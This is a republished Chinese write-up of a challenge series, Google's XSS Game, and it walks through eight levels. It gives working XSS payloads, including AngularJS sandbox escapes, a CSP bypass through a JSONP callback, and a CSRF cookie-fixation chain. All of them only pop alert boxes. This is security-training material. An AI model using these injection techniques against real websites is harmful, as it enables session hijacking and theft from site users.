专栏首页FreeBufGoogle最新XSS Game Writeup

Google最新XSS Game Writeup

本文介绍了如何完成谷歌最新的XSSGame的过程,完成了这八个挑战就有机会获得Nexus 5x。实际上这八个挑战总体来说都不难,都是些常见的xss。通关要求是只要能弹出alert窗口即可。

第一关

反射型xss,在搜索框提交的内容最后会出现在结果页面的html代码里,没有任何过滤,直接搜索:

<script>alert('freebuf')</script>

第二关

还是反射型,提交内容后会有一定延迟。通过查看html源码可以知道延迟的时间(timer=)被直接插入到了img标签里的onload事件里:

<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('');" />

直接请求url:/?timer=’-alert(1)-’,通关。

第三关

展示了一些猫的图片,当图片换了后,url只是变化了#后面的内容(#1 > #2),感觉可以通过这个id来反射xss。

查看源代码:

function chooseTab(<user provided>) { var html = "Cat " + parseInt(<user provided>) + "<br>"; html += "<img src='/static/img/cat" + <user provided> + ".jpg' />"; document.getElementById('tabContent').innerHTML = html; // Select the current tab var tabs = document.querySelectorAll('.tab'); for (var i = 0; i < tabs.length; i++) { if (tabs[i].id == "tab" + parseInt(<user provided>)) { tabs[i].className = "tab active"; } else { tabs[i].className = "tab"; } } window.location.hash = <user provided>; // Tell parent we've changed the tab top.postMessage({'url': self.location.toString()}, "*"); }

哼,根据上一关的灵感,感觉可以继续利用一下on事件,修改id后,图片肯定是不存在的,于是使用onerror:

#1'onerror=alert(1)>

搞定

第四关

打开后是一个注册页面,让我们填写邮箱地址,注册完成后通过url里面的next参数把我们跳转回主页,查看源码:

<script> setTimeout(function() { window.location = <user provided>; }, 1000);</script>

在html中,链接可以是js代码,比如:

<a href="javascript:..."></a>

直接请求这个跳转url:

confirm?next=javascript:alert(1)

第五关

一个F歌(foogle)搜索框,使用了angularJS 1.5.8,感觉是爆过漏洞的,上某网搜索(angularjs 1.5.8 injection)找到利用方法:

?utm_term=&utm_campaign={{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

第六关

angularJS 1.2版本的搜索框,在搜索框中提交的内容最终进到了class为ng-non-bindable的div标签里:

#普通的div标签<div>Normal: {{1 + 2}}</div> #输出:Normal: 3 #ng-non-bindable<div ng-non-bindable>Ignored: {{1 + 2}}</div> #输出:Ignored: {{1 + 2}}

随后发现如果直接提交花括弧会被删掉,于是使用“&lcub;”,最后构造这样一个url:

?query=&lcub;&lcub;a='constructor';b=&lcub;};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

第七关

通过GET(参数menu)和JSONP请求加载了一个博客页面,而响应的title,pictures会被处理为h1标签和img标签。关卡提示:common CSP bypass。

猜测xss可能会在menu参数里,JSONP里的callback参数可以用来注入我们的js代码,开始构造我们的url:

?menu=base64_encode(<script src="jsonp?callback=alert(1)%3b%2f%2f"></script>)

第八关

要求是对任何用户都有效,无论是登录的还是未登录的,要想通过必须得利用CSRF,self-xss,CSP。/transfer下是个很明显的反射性xss,所以难度在于怎样设置csrf_token可以匹配cookie。

最后发现在登录后会有一个请求设置用户cookie并把用户重定向到主页,url如下:

set?name=username&value=<username>&redirect=index #作孽啊!

根据这个url就可以猜测到后端代码写得是有多简陋。。。

有了这个作孽的东西,我们就可以设置自己的csrf_token并把用户重定向到/transfer,以便执行我们注入的js代码。构造如下url:

set?name=csrf_token&value=<csrf_token>&redirect=url_encode(/transfer?name=freebufer&amount=3"><script>alert(1)</script>&csrf_token=<csrf_token>)

写出这种代码的,在我们那是要被BGM的! 高中生第一次写writeup,如有不足望担待,勿喷。

本文分享自微信公众号 - FreeBuf(freebuf),作者:cDdubz8

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-05-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • DVWA 1.10 High等级的CSRF另类通关法

    由于使用了不可猜测到的token,所以我们首先想到的思路,就是找一个XSS漏洞来配合,先通过XSS获得token之后修改密码。

    FB客服
  • Pikachu漏洞靶场系列之XSS

    跨站脚本攻击(Cross-Site Scripting)简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常...

    FB客服
  • 适用于IDA Pro的CGEN框架介绍

    一切都始于我想要分析一些MeP代码的时候。我通常在IDA Pro中做逆向工作,但是有一小部分处理器IDA并不支持。幸运的是,objdump可以支持这些小众的处理...

    FB客服
  • 甲骨文疯狂裁员要为“云架构师”腾地儿,京津冀大数据中心即将投入运营 | 大数据24小时

    数据猿导读 京津冀大数据创新应用中心即将投入使用,项目投资达15亿元;美国数据中心供应商CyrusOne将建大型数据中心园区;上海钛米机器人获4000万元融资,...

    数据猿
  • Django的POST请求报403,及四种解决方法

    Django默认开启防止csrf(跨站点请求伪造)攻击,在post请求时,没有上传 csrf字段,导致校验失败,报403错误

    用户1558882
  • Django的POST请求时因为开启防止csrf,报403错误,及四种解决方法

    Django默认开启防止csrf(跨站点请求伪造)攻击,在post请求时,没有上传 csrf字段,导致校验失败,报403错误

    用户1558882
  • Vue项目History模式404问题解决

    本人是Java后台开发,Vue其实使用也没有多久,只能说简单了解。发现问题的时候其实也一头雾水,第一思想就是百度看别人的思路。

    dalaoyang
  • Spring事务源码解析

    2.1.4. TransactionManagementConfigurationSelector

    爱撒谎的男孩
  • 爬虫篇| 爬虫中的urllib库使用(三)

    我们首先了解一下 Urllib 库,它是 Python 内置的 HTTP 请求库,也就是说我们不需要额外安装即可使用,它包含四个模块:

    润森
  • 合肥工业大学吴信东:大数据Processing Framework多层架构

    用户1737318

扫码关注云+社区

领取腾讯云代金券